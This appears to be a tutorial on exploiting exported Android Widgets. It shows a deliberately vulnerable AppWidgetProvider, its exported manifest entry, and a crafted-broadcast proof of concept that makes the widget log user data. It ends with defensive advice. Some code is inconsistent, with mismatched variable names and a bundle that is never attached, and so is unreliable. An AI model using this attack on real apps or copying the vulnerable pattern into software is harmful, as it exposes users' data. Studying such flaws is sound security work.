Attacking Android Widgets

Alongside Activities, Services, Broadcast Receivers, and Content Providers, Android Widgets also serve as entry points to Android apps, broadening the app’s attack surface even more.

The concept of Widgets began with Android 2 and has not significantly evolved since. At their core, Widgets are essentially Broadcast Receivers utilizing RemoteViews. To users, a Widget appears as a small (and often interactive) UI component embedded in the launcher. Examples include widgets for music players or clocks.

A vulnerable Widget can be just as dangerous as a vulnerable Broadcast Receiver. This is how a Widget is essentially created:

public class MyWidget extends AppWidgetProvider {...}

However, examining the AppWidgetProvider class reveals that it is an extension of BroadcastReceiver:

public class AppWidgetProvider extends BroadcastReceiver{...}

And here is an example of a Widget that logs user data if specific conditions are met when receiving an intent:

public class MusicPlayerWidget extends AppWidgetProvider {
    @Override
    public void onDisabled(Context context) {...}

    @Override
    public void onEnabled(Context context) {...}

    static void updateAppWidget(Context context, AppWidgetManager appWidgetManager, int i) {...}

    @Override
    public void onReceive(Context context, Intent intent) {
        Bundle bundleExtra;
        super.onReceive(context, intent);
        String action = intent.getAction();
        if (action == null || !action.contains("APP_WIDGET_UPDATE") || (bundleExtra = intent.getBundleExtra("playerOptions")) == null) {
            return;
        }
        int property1 = bundleExtra.getInt("playerProperty1", -1);
        int property2 = bundleExtra.getInt("playerProperty2", -1);
        if (i == <specified hardcoded integer> && i2 == <specified hardcoded integer>) {
            logUserData()
            showToast()
        }
    }
}

Since this is a Widget, it must be declared in the AndroidManifest.xml file under the <receiver> block:

<receiver
            android:name="<package name>.<path>.MusicPlayerWidget"
            android:exported="true">
            <intent-filter>
                <action android:name="android.appwidget.action.APPWIDGET_UPDATE"/>
            </intent-filter>
            <meta-data
                android:name="android.appwidget.provider"
                android:resource="@xml/music_player_info"/>
        </receiver>

Attacking this Widget is straightforward. All we need to do is send a properly crafted broadcast, like this:

val intent = Intent().apply {
    setAction("APPWIDGET_UPDATE")
    val bundle = Bundle()
    putInt("playerProperty1", <the hardcoded integer>)
    putInt("playerProperty2", <the hardcoded integer 2>)
    setClassName("<package name>", "<package name>.<path>.MusicPlayerWidget")
}
sendBroadcast(intent)

The malicious app sends an intent directly to the Widget. Since the Widget does not verify or sanitize incoming intents, it will process the broadcast as if it were legitimate, and in this case, log the user data and show the toast.

Conclusion

This example demonstrates how vulnerable Widgets can be exploited by attackers if proper security measures are not implemented. Since Widgets are declared as exported by default, they can unintentionally expose sensitive app functionality to malicious apps. Developers must ensure that Widgets validate and sanitize all incoming data and implement necessary security mechanisms such as permissions, signature checks, or filtering specific actions to prevent unauthorized access. Neglecting these safeguards can leave an app vulnerable to exploitation.